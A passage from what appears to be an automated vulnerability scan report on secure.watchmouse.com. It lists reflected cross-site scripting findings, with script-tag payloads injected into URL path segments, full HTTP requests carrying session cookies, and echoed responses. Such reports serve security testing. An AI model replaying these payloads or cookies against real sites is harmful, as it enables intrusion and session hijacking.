
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/csscd7a1"><script>alert(1)</script>4a32a0aeff2/screen.css?20101008" method="post">
...[SNIP]...

1.188. https://secure.watchmouse.com/assets/css/screen.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/css/screen.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 76696"><script>alert(1)</script>d2c672cc1a3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/css/screen.css76696"><script>alert(1)</script>d2c672cc1a3?20101008 HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:28:03 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-a6a9db497ce534dfac03ee7f70f1160a"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13217

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/css/screen.css76696"><script>alert(1)</script>d2c672cc1a3?20101008" method="post">
...[SNIP]...

1.189. https://secure.watchmouse.com/assets/js/easySlider1.7.packed.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/js/easySlider1.7.packed.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7113"><script>alert(1)</script>8fd9f18b0e5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assetse7113"><script>alert(1)</script>8fd9f18b0e5/js/easySlider1.7.packed.js HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:19:16 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-a719c5a32ac6f62509546693647bb3bc"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13244

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assetse7113"><script>alert(1)</script>8fd9f18b0e5/js/easySlider1.7.packed.js" method="post">
...[SNIP]...

1.190. https://secure.watchmouse.com/assets/js/easySlider1.7.packed.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/js/easySlider1.7.packed.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6e5a"><script>alert(1)</script>7fe40b63f2f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/jsd6e5a"><script>alert(1)</script>7fe40b63f2f/easySlider1.7.packed.js HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:19:19 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-d9ff333be7192466fbe19cd303747d84"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13244

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/jsd6e5a"><script>alert(1)</script>7fe40b63f2f/easySlider1.7.packed.js" method="post">
...[SNIP]...

1.191. https://secure.watchmouse.com/assets/js/easySlider1.7.packed.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/js/easySlider1.7.packed.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7295a"><script>alert(1)</script>48878346d8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js/easySlider1.7.packed.js7295a"><script>alert(1)</script>48878346d8 HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:19:22 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-39440302d8e58bf2b4ef56ad2708fbfc"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13235

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js/easySlider1.7.packed.js7295a"><script>alert(1)</script>48878346d8" method="post">
...[SNIP]...

1.192. https://secure.watchmouse.com/assets/js/fancybox.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/js/fancybox.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e39b6"><script>alert(1)</script>565ab6c49a1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assetse39b6"><script>alert(1)</script>565ab6c49a1/js/fancybox.js HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:19:16 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-75123fef12c6b34143ff6bb6a1de8ecb"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13136

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assetse39b6"><script>alert(1)</script>565ab6c49a1/js/fancybox.js" method="post">
...[SNIP]...

1.193. https://secure.watchmouse.com/assets/js/fancybox.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/js/fancybox.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0f58"><script>alert(1)</script>480539fdded was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/jse0f58"><script>alert(1)</script>480539fdded/fancybox.js HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:19:19 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-efb3db8d899f3cf6def5dffc50f7f162"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13136

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/jse0f58"><script>alert(1)</script>480539fdded/fancybox.js" method="post">
...[SNIP]...

1.194. https://secure.watchmouse.com/assets/js/fancybox.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/js/fancybox.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fd971"><script>alert(1)</script>53f2257d48d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js/fancybox.jsfd971"><script>alert(1)</script>53f2257d48d HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:19:22 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-f7251e205b301e3491bd7753dc256dd0"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13136

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js/fancybox.jsfd971"><script>alert(1)</script>53f2257d48d" method="post">
...[SNIP]...

1.195. https://secure.watchmouse.com/assets/js/jquery-1.3.2.min.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/js/jquery-1.3.2.min.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 313c8"><script>alert(1)</script>ff7eaacae42 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets313c8"><script>alert(1)</script>ff7eaacae42/js/jquery-1.3.2.min.js HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:19:18 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-b40cdb40ab6535f3ef041224963103c5"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13208

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets313c8"><script>alert(1)</script>ff7eaacae42/js/jquery-1.3.2.min.js" method="post">
...[SNIP]...

1.196. https://secure.watchmouse.com/assets/js/jquery-1.3.2.min.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/js/jquery-1.3.2.min.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59063"><script>alert(1)</script>fdb94fdc602 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js59063"><script>alert(1)</script>fdb94fdc602/jquery-1.3.2.min.js HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:19:21 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-41c72bf9e01909c71fe5365ded9c0b55"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13208

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js59063"><script>alert(1)</script>fdb94fdc602/jquery-1.3.2.min.js" method="post">
...[SNIP]...

1.197. https://secure.watchmouse.com/assets/js/jquery-1.3.2.min.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/js/jquery-1.3.2.min.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 401bf"><script>alert(1)</script>ca85781f7bb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js/jquery-1.3.2.min.js401bf"><script>alert(1)</script>ca85781f7bb HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:19:24 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-b57dd52645d220519f177be27d13b328"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13208

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js/jquery-1.3.2.min.js401bf"><script>alert(1)</script>ca85781f7bb" method="post">
...[SNIP]...

1.198. https://secure.watchmouse.com/assets/js/wm.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/js/wm.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 569aa"><script>alert(1)</script>3d0abf01272 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets569aa"><script>alert(1)</script>3d0abf01272/js/wm.js HTTP/1.1
Host: secure.watchmouse.com
Connection: keep-alive
Referer: https://secure.watchmouse.com/en/?868a8'-alert(document.cookie)-'f02a060b98b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772; nkey=WMA4D528314AD809

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:19:16 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-e96f6ee5565a21c690aacc16df97fe0f"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Keep-Alive: timeout=6, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 13082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets569aa"><script>alert(1)</script>3d0abf01272/js/wm.js" method="post">
...[SNIP]...

1.199. https://secure.watchmouse.com/assets/js/wm.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/assets/js/wm.js

Issue detail

